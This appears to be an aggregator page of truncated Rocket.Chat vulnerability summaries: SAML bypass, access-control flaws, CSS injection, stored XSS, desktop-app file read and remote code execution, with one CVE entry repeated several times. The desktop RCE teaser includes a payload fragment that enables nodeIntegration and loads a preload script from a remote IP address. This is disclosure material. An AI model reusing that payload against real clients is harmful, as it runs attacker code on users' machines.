CVE-2020-29594

CVE-2020-29594 affects Rocket.Chat (varying branches: before 0.74.4, 1.x before 1.3.4, 2.x before 2.4.13, 3.x before 3.7.3, 3.8.x before 3.8.3, 3.9.x before 3.9.1) and is caused by mishandling of SAML login. The connected HackerOne report documents an unauthenticated bypass via the addSamlProvide...

Rocket.Chat 授权问题漏洞

Rocket.Chat is an open source team chat software. A security vulnerability exists in Rocket.Chat that stems from incorrectly handling SAML logins. No details of the vulnerability are provided at this time...

Rocket.Chat: Unauthenticated clients can modify Livechat Business Hours

The Meteor method "livechat:saveOfficeHours" allowed unauthenticated clients to modify the global Livechat Business Hours by directly updating the database model...

Rocket.Chat: Unread Messages can leak Message IDs

The Meteor Method "unreadMessages" could leak existing Message IDs to unauthorized clients when called with a regular expression. The vulnerability was present in Rocket.Chat versions 3.9.3 and develop...

Rocket.Chat: Improper ACL in Message Starring

The vulnerability allowed attackers to manipulate the starred attribute of arbitrary messages by providing an unrelated room ID where they had access. The vulnerability existed due to improper access checks when starring messages...

Rocket.Chat: SAML authentication bypass through unauthenticated `addSamlProvider` Meteor Call

Summary: Rocket.Chat exposes an unauthenticated Meteor method addSamlProvider, which allows disabling SAML signature verification. Description: The addSamlProvider Meteor method sets a number of settings, among them a boolean flag that defaults to false: js export const addSamlService =...

Rocket.Chat: Server-side RCE through directory traversal-based arbitrary file write

Vulnerability description not provided...

Rocket.Chat: CSS Injection in Message Avatar

The custom message avatars in the Meteor.method "sendMessage" can contain inline CSS that influences the resulting HTML element rendering. Escaping the input with "none;" allows further CSS to be applied to the elements inline styles, without requiring certain characters such as whitespace...

Rocket.Chat: User Impersonation through sendMessage options

The Meteor call "sendMessage" allowed clients to use custom avatar and alias parameters, which could be used to impersonate other chat room members. This vulnerability has been patched...

Rocket.Chat: Stored XSS in any message (leads to priv esc for all users and file leak + rce via electron app)

Persistent XSS flaw using nested markdown tags allows remote attacker to inject arbitrary JavaScript to message. This flaw leads to arbitrary file read and RCE on Rocket.Chat desktop app. Patched on 3.11, 3.10.5, 3.9.7, 3.8.8...

Rocket.Chat Cross-Site Scripting Vulnerability (CNVD-2020-49525)

Rocket.Chat is an open source team chat software. A cross-site scripting vulnerability exists in Rocket.Chat 3.4.2 and earlier versions. The vulnerability stems from a lack of proper validation of client-side data by the web application. An attacker can exploit this vulnerability to execute...

CVE-2020-15926

Rocket.Chat through 3.4.2 allows XSS where an attacker can send a specially crafted message to a channel or in a direct message to the client which results in remote code execution on the client side...

CVE-2020-15926

Rocket.Chat through 3.4.2 allows XSS where an attacker can send a specially crafted message to a channel or in a direct message to the client which results in remote code execution on the client side...

Remote code execution

Rocket.Chat through 3.4.2 allows XSS where an attacker can send a specially crafted message to a channel or in a direct message to the client which results in remote code execution on the client side...

CVE-2020-15926

Rocket.Chat through 3.4.2 allows XSS where an attacker can send a specially crafted message to a channel or in a direct message to the client which results in remote code execution on the client side...

CVE-2020-15926

Rocket.Chat versions up to 3.4.2 are affected by an XSS vulnerability that can lead to remote code execution on the client side when a specially crafted message is sent in a channel or direct message. The issue arises from insufficient validation of client-side data within the web application, en...

Rocket.Chat: Arbitrary file read in Rocket.Chat-Desktop

Description: Rocket.Chat-Desktop is vulnerable to arbitrary file read. Releases Affected: Rocket.Chat-Desktop-Client: v3.0.0-develop Steps To Reproduce by setting up a malicious server: 1. Go to Administration » Layout » Custom Scripts » Custom Script for Logged In Users 1. Insert the following...

Rocket.Chat: Remote Code Execution in Rocket.Chat-Desktop

Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script. Releases Affected: Rocket.Chat-Desktop-Client: PWNED', '', 'nodeIntegration=true', 'preload=\\45.155.173.235\data\cmd.js'.join','...

Rocket.Chat: Insecure use of shell.openExternal() in Rocket.Chat Desktop App leading to RCE

Summary: The Rocket.Chat Desktop app passes the links users click on to Electron's shell.openExternal function which can lead to remote code execution. Description: The filtering on the URLs passed to shell.openExternal is insufficient. An attacker can craft and send a link that when clicked will...

Rocket.Chat: It is possible to elevate privileges for any authenticated user to view permissions matrix and view Direct messages without appropriate permissions.

Description: ===================== For the user with "View Private Room" permission only it is possible to rewrite permission role e.g. to admin in /api/v1/me method response via some proxy tools e.g. Charles and get access to servers permissions matrix and view Direct messages. Releases Affected...